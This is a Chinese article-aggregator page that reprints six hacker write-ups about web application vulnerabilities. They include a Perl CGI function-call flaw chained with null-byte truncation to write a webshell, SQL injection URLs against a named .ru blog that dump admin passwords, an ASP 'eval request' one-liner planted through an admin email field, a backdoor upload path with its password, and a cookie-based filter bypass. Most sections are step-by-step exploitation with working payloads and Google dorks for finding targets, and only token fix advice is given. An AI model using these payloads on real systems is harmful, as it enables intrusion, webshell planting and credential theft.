欢迎来到千学网!
您现在的位置:首页 > 实用文 > 其他范文

一个CGI程序的漏洞挖掘漏洞预警

时间:2023-10-08 07:42:35 其他范文 收藏本文 下载本文

以下是小编给大家收集的一个CGI程序的漏洞挖掘漏洞预警,本文共6篇,欢迎大家前来参阅。

一个CGI程序的漏洞挖掘漏洞预警

篇1:一个CGI程序的漏洞挖掘漏洞预警

来源:phpeval's BLOG

作者:phpeval

昨天一个朋友扔我了一个cgi程序,叫我想办法拿一个SHELL。

CGI的程序我可是从来没看过。遇到这种对于我来说全新的东西。真的是有点没办法。不过扔来了。就当学习。我硬着头皮看。下面把我学习CGI程序的代码。以及漏洞发现的过程。进行记录一下:

打开该CGI程序。发现根目录下只有两个文件。admin.cgi和另外一个CGI。

CGI的第一行:

#!/usr/bin/perl

猜想该代码应该是用perl解析的。不过可怜的是,我用PHP,asp,js,vbs等脚本。就是没用过perl。继续硬着头皮上。装上perl。 改解析类型。因为perl装上后。解析了pl等后缀。硬是没有解析我的cgi。根据pl解析的方式。加上了cgi的解析。发现解析竟然成功了。而且代码也 正常运行。第一步很顺利。:)

开始学习并分析代码了,我打开admin.cgi:

use lib './pl';use lib './config';require'config.pl';&GetFormData(',');…………$Work=$FORM{Work};$Work='Certify' unless(defined $Work);&$Work;………………

看来perl的语法和php和asp等现在流行的语法都不一样。

第一行和后面的use lib './pl';use lib './config'; 我理解成指定了包含库在什么位置。以便在第三句到第五句的时候require。果然这些pl文件是在这两个文件甲里面的。我测试把pl文件换一个位置。 use lib './xxx';这样来执行代码。果然能正常运行。代表我的猜测是正确的。

&GetFormData(','); 这句我着实理解了很久。最后得出结论。一个字符串前面加上了&符号。就是呼叫函数或者过程的意思。就像vbs的call的意思。php呼叫函数。 当然就不需要CALL什么的了。GetFormData这个函数是他们自己写的。作用是把传进去的参数赋值给$FORM。这样如果我们在浏览器上提交 Work=phpeval.cn 那么$FORM{Work}的值就是phpeval.cn了。

unless(defined $Work); 这句我的理解是if not的意思。就是如果否定的意思。。如果没有设置$Work那么$Work就等于Certify。

再下一句就是&$Work; 呼叫$Work 。这样的话。$Work可以自定义。 但是2的就是$Work好象不能带参数。不知道我说的对不对。所以我有很多函数。比如FileWrite函数我都直接利用不了。在他下面定义了一大批的 sub。看来就是让他们来调用的。我当然不能跟他们的思路走。我找找找。。

config.pl:

sub RegistAct {FileRead(“$DataDir/count.dat”,*CountLines);map{ Error(1006) if((split//)[0] eq $FORM{DataTitle}) } @CountLines;$RegistLine = “$FORM{DataTitle}$FORM{PageTitle}$FORM{RelatedUrl}$FORM{JumpUrl}000newnewnew\n”;FileWrite(“$DataDir/count.dat”,*RegistLine,1,1);&Unlock('DATA');Regist;}

相信这句已经不难懂了,

。FileWrite(“$DataDir/count.dat”,*RegistLine,1,1); 向“$DataDir/count.dat”写入数据$FORM{DataTitle}是自己定义的。我加上我的构造的cgi的代码。就写到 count.dat里面了。我提交语句

www.phpeval.cn/admin.cgi?Work=RegistAct&DataTitle=mycode

这样mycode 就被写入了count.dat文件。dat当然是不能被执行的。

不过幸好还有下面的函数。他的作用如果没有想错的话。应该是用来还原数据用的。不过没有验证。让我有机会了。

sub RecoveryAct {RefererCheck() if($MyUrl);MethodCheck () if($MethodChkMode);&Lock('DATA');FileRead(“$FORM{TargetFile}”,*BackupLines);FileWrite(“$FORM{DataDir}/count.dat”,*BackupLines);&Unlock('DATA');Recovery();}

我提交如下的连接:

www.phpeval.cn/admin.cgi?Work=RecoveryAct&TargetFile=DataDir/count.dat&DataDir=1.cgi%00

万幸的是%00终究还是截断了。呵呵。这样我的SHELL就出来了。

笔记:其实这个构造的过程是虚假的。因为cgi我刚刚接触。用来写马是需要很长时间的。但是幸运的是他们的服务器上还支持php.我直接备份出来的 是php的文件。所以构造这个东西我还是用的mycode来代替本来该写的cgi马。其实要写一个cgi马也不会困难到哪去。因为这个代码里面把目录遍 历,读文件。写文件的函数都构造好了。想改一个WEBSHELL也是不太难的。

本来是想写一个文章来介绍一下未知脚本漏洞的挖掘。但是没没有介绍到什么。本来写着写着想就写写cgi漏洞的挖掘。但是介绍得又太简单。最后干脆说公布一下这种程序的漏洞。但是这个程序少之又少。甚至我连CGI的马马都没做出来。人懒了。

篇2: 游戏网站程序0DAY漏洞预警

作者:amxking

挖掘:百事可乐

准确点应该算是backdoor

inurl:Find.asp 您的位置 >>客服中心 >>找回密码

直接传马:

www.XXX.com/user/situjiaduotu2.asp

一句话backdoor ,密码 : value

www.XXX.com/htmledit/Include/upfile_class.asp

www.XXX.com/htmledit\Include\DeCode.asp

读库提权:

D:\web\www.xxx.com\Inc\Config.asp

篇3:一个密码的沦陷漏洞预警

说社工强大,一点都没错,这次渗透让我有一点点成功感.,某日无聊在朋友那边拿了些QQ号玩.(都是6位一代的),先看了一些都不行,哎现在死TX搞的什么规定要挂很长时间才能改.

要到改的时间了,主人早发现了.

就社工下. 看了下QQ空间,貌似没什么利用的..

篇4:国外一Blog程序0day漏洞预警

作者:YJPS 请注明

近来无聊 去国外网站上转悠,看到一个不错的Blog系统,可以注册用户,并分配一个二级目录,

更无聊的就去检测了下,下面是分析结果。

站点:www.jj.ru/

漏洞地址:www.jj.ru/include/send_email.php?comment=1074

得到用户和密码

www.jj.ru/include/send_email.php?comment=1074+and+1=2+union+select+1,2,3,4,5,concat_ws(0x3a,id,username,password,email),7,8,9+from+blogs_database.websiteadmin_admin_users+limit+1,1--

如想扩大战果,可GOOGLE里:inurl:send_email.php?comment=

漏洞危害不小,请勿借此破坏,

篇5:COCOON Counter统计程序漏洞总结漏洞预警

一、默认数据库:

counter/_db/db_CC_Counter6.mdb

也可直接打开:www.badguest.cn /Counter/utilities/update.asp

查看源文件,查找

COCOON Counter统计程序漏洞总结漏洞预警

。程序的问题。

二、暴路径漏洞

利用探针www.xxx.com /Counter/utilities/aspSysCheck.asp,查看网站路径。

三、注入

存在用户注入,猜解出用户的帐号和密码,无法拿SHELL只可社工利用。

www.badguest.cn /xxcount/core/default.asp?id=xxcnc

流量统计用户名是xxcnc,保存密码的表名是t_Site,用户名列是UID,密码列是PWD,登录页面(www.badguest.cn/xxcount/supervise/login.asp)

四、后台插马

需要进后台,可插一句拿SHELL,

不过大多说管理员密码都为admin,管理员密码并未保存在数据库中,在_inc/Common.asp中。

具体:进后台在管理信箱那把

cnhacker@263.net“:eval request(chr(35))//

复制过去,,点击保存,看下_inc/common.asp的内容。

WebMasterEmail = ”cnhacker@263.net\“:eval request(chr(35))//”

嘿嘿来执行下,嘿嘿!成功了,统计程序中的后台拿将“转义成了\”所以这用了evalrequest(chr(35))嘿嘿,//是注释,:在asp中就是换行,前提就是你能进到后台,(好多后台管理密码都是admin嘿嘿)php也可以这样的嘿嘿,而且比asp利用的地方更多!需要动下配置语句的前后搭配好,利用好一些符号。

另注:黑防也有人提到了类似方法,可以写成9xiao“%><%eval request(chr(35))%><%',这个方法也比较巧妙,//和'在asp都是注释语句!

by 逍遥复仇

提供修方案:

注意修改默认路径和默认密码。加强过滤和验证。

篇6:天下马ASP收信程序漏洞漏洞预警

最近看了八进制论坛上针对伯乐ASP收信程序的漏洞分析,通过提交数据达到获取webshell的方法!正好有朋友让我帮忙看一看天下马的提交问题!主要是由于有些程序使用者自定义了一些函数,使得原来的方法不能够绕过函数,但是昨天看了看,还是可以通过其他方法实现的!

首先,天下马的其他bug我们这里就不看了,直接看提交过程!

网上公布的提交过程是类似这种的连接:

www.xxx.com/post.asp?act=&d00=202&d01=

src=www.a.com>&d02=&d10=&d11=17000813&d20=&d21=&d22=&d23=&d30=天下马

&d31=&d32=1&d33=&d40=0&d41=0&d42=0&d50=&d51=&d98=&d99=123

返回如图1所示表示正常插入

我们来看看察看数据的页面及其部分源代码,如图2所示

但是有些程序却使用了一些自定义函数,针对提交的数据进行验证和过滤

我这里有一份代码如下:

[Copy to clipboard] [ - ]CODE:

相信很多朋友都已经看出来了,正如分析网站系统一样,这个自定义的代码只是针对Request.QueryString和Request.Form进行了过滤,没有对cookie提交的方式进行过滤!那么我们再看看天下马的获取方式

strAreaName = request(”d00“) //还有很多,只写出一个

....

....

if strAreaName ”“ then RS(”AreaName") = strAreaName //还有很多,只写出一个

....

....

这个是没有经过过滤的天下马的代码,增加自定义函数的页面是将request变量经过了Function CheckStr(ChkStr)的过滤,但是还有一种提交方式就是cookie提交!下面我们看看提交方法!

首先是针对正常提交时候进行抓包分析,然后进行数据包的构造,我这里构造的包如下(这里我将真实信息修改了,^_^):

[Copy to clipboard] [ - ]CODE:

GET /post.asp?

act=&d00=202&d02=&d11=17000813&d20=&d21=&d22=&d23=&d30=cookie&d31=&d32=1&d33=&d40=0&d41=0&d4

2=0&d50=&d51=&d98=&d99=123 HTTP/1.1

Accept: */*

Accept-Language: zh-cn

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)

Host: xxx.com

Connection: Keep-Alive

Cookie: ASPSESSIONIDCATSSDRC=NAAGENEADMNBDLJJFMKLGMDO;d01=;d10=

这里的数据我们只需要把通过cookie提交的数据放入cookie项中就可以了,其他可以保持不变!

然后使用NC提交!

我们来看看察看数据的页面及其部分源代码,如图3所示

成功写入!

至于利用方法我想就不需要再多写了,朋友们自己去挖掘吧!

马克斯CMScookies注入漏洞漏洞预警

Apple QuickTime信息泄露漏洞漏洞预警

iShowMusic V1.2 写入shell漏洞漏洞预警

在线支付逻辑漏洞总结漏洞预警

elasticsearch 漏洞利用工具套装漏洞预警

渗透底层路由技术漏洞预警

XPSHOP商城系统Cookies欺骗漏洞漏洞预警

Android Linux Kernel 2.6本地DoS漏洞预警

xheditor编辑器upload.php畸形文件上传漏洞漏洞预警

青创文章系统简单分析漏洞预警

《一个CGI程序的漏洞挖掘漏洞预警(通用6篇).doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

文档为doc格式

点击下载本文文档